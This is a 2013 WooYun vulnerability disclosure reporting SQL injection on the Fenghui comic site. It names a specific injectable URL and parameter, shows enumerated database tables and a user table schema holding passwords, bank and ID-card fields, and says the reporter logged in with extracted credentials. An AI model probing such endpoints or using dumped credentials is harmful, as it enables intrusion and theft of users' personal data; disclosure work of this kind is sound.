当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-046345

漏洞标题：锋绘网#主站SQL注入(涉及大量用户邮箱、电话、帐号密码)

相关厂商：锋绘网

漏洞作者： xlz0iza1

提交时间：2013-12-18 16:11

修复时间：2014-02-01 16:11

公开时间：2014-02-01 16:11

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

锋绘网#分站SQL注入(涉及2W用户资料)

详细说明：

#1：SQL注入,该站存在多出SQL注入
http://121.52.220.27/news_detail.php?articleId=25

QQ图片20131218131616.jpg


关注的人还是挺多的啦16W,比乌云多一倍啊,嘎嘎~

漏洞证明：

#1:漏洞证明

Database: fenghui
[96 tables]
+---------------------------+
| 91_exchange_codes         |
| cms_articles              |
| cms_attachments           |
| cms_auto_sort             |
| cms_auto_sort_content     |
| cms_block                 |
| cms_category              |
| cms_category_content      |
| cms_columns               |
| cms_commends              |
| cms_copyrights            |
| cms_modules               |
| cms_specials              |
| cms_wallpapers            |
| cms_words                 |
| comic_chapters            |
| comic_comics              |
| comic_comments            |
| comic_creationChapters    |
| comic_creationCopyrights  |
| comic_creations           |
| comic_favorites           |
| comic_hits                |
| comic_issues              |
| comic_magazines           |
| comic_modifyApplications  |
| comic_pages               |
| comic_percentages         |
| comic_recommends          |
| comic_units               |
| comic_volumes             |
| fenghui_sales             |
| group_groups              |
| group_members             |
| group_posts               |
| group_threads             |
| log_action                |
| log_comic                 |
| log_count                 |
| log_paihang               |
| log_rechargePurchase      |
| log_user                  |
| log_userComic             |
| post_recommends           |
| qplus_chapters            |
| qplus_modules             |
| qplus_recommends          |
| sale_codeRelated          |
| sale_codes                |
| sale_coupons              |
| special_topics            |
| stat_currentDayStatistics |
| stat_dayStatistics        |
| sys_configs               |
| sys_editorGroups          |
| sys_editors               |
| sys_failedlogins          |
| sys_levelPowers           |
| sys_logins                |
| uc_exchange_codes         |
| user_OAuth                |
| user_blocks               |
| user_friends              |
| user_jobs                 |
| user_jobusers             |
| user_messages             |
| user_purchaseRecords      |
| user_rechargeRecords      |
| user_reports              |
| user_systemEmails         |
| user_systemMessages       |
| user_userSystemEmails     |
| user_userSystemMessages   |
| user_users                |
| user_viewComics           |
| v2_QR                     |
| v2_QR_comic               |
| v2_flash                  |
| v2_irrigation_ditch       |
| v2_magazine               |
| v2_magazine_comic         |
| vip_purchaseRecords       |
| vip_rechargeRecords       |
| zhuanti_answer            |
| zhuanti_guestbook         |
| zhuanti_question          |
| zhuanti_shishang_vote     |
| zhuanti_star_logo         |
| zhuanti_star_vote         |
| zhuanti_user              |
| zhuanti_user_answer       |
| zhuanti_vip               |
| zhuanti_xiaoji_vote       |
| zhuanti_xiongdun          |
| zhuanti_xiongdun_favorite |
| zhuanti_xiuzhen_vote      |
+---------------------------+


Database: fenghui
Table: user_users
[58 columns]
+-------------------+----------------------+
| Column            | Type                 |
+-------------------+----------------------+
| activateCode      | varchar(18)          |
| activateStatus    | tinyint(1) unsigned  |
| address           | varchar(100)         |
| answer            | varchar(100)         |
| appId             | int(11) unsigned     |
| authContent       | varchar(200)         |
| authStatus        | tinyint(1) unsigned  |
| avatar            | varchar(50)          |
| bank              | varchar(20)          |
| bankAccount       | varchar(20)          |
| bankBranch        | varchar(50)          |
| bankIdentityCard  | varchar(20)          |
| bankName          | varchar(10)          |
| birthday          | char(10)             |
| celebrityNickname | varchar(20)          |
| celebrityWork     | varchar(100)         |
| celebrityYears    | varchar(10)          |
| editorColumn      | varchar(20)          |
| editorMagazine    | varchar(20)          |
| editorNickname    | varchar(20)          |
| email             | varchar(100)         |
| fhCoin            | int(8) unsigned      |
| forgetCode        | varchar(18)          |
| form              | tinyint(1) unsigned  |
| gender            | tinyint(1) unsigned  |
| id                | int(10) unsigned     |
| identityCard      | varchar(20)          |
| isPainter         | tinyint(1) unsigned  |
| lastLoginIp       | varchar(15)          |
| lastLoginTime     | int(10) unsigned     |
| loginCount        | int(10) unsigned     |
| mobile            | varchar(20)          |
| nickname          | varchar(50)          |
| otherCelebrity    | varchar(100)         |
| password          | varchar(32)          |
| phone             | varchar(20)          |
| postCode          | varchar(10)          |
| pressAddress      | varchar(100)         |
| pressBook         | varchar(200)         |
| pressContact      | varchar(20)          |
| pressName         | varchar(20)          |
| profession        | varchar(20)          |
| pseudonym         | varchar(20)          |
| qq                | varchar(50)          |
| qqUsername        | varchar(400)         |
| question          | varchar(100)         |
| realName          | varchar(50)          |
| registerTime      | int(10) unsigned     |
| representative    | varchar(100)         |
| sinaUsername      | varchar(400)         |
| specialty         | varchar(20)          |
| status            | tinyint(1) unsigned  |
| studioCompany     | varchar(20)          |
| studioLeader      | varchar(20)          |
| studioName        | varchar(20)          |
| username          | varchar(100)         |
| vip               | tinyint(1) unsigned  |
| work              | smallint(5) unsigned |
+-------------------+----------------------+


涉及大量用户信息~

QQ图片20131218130732.jpg


QQ图片20131218132013.jpg


用注入得到的用户登录主站试试看~

QQ图片20131218133511.jpg

修复方案：

过滤啊,拒绝脱裤~

版权声明：转载请注明来源 xlz0iza1@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝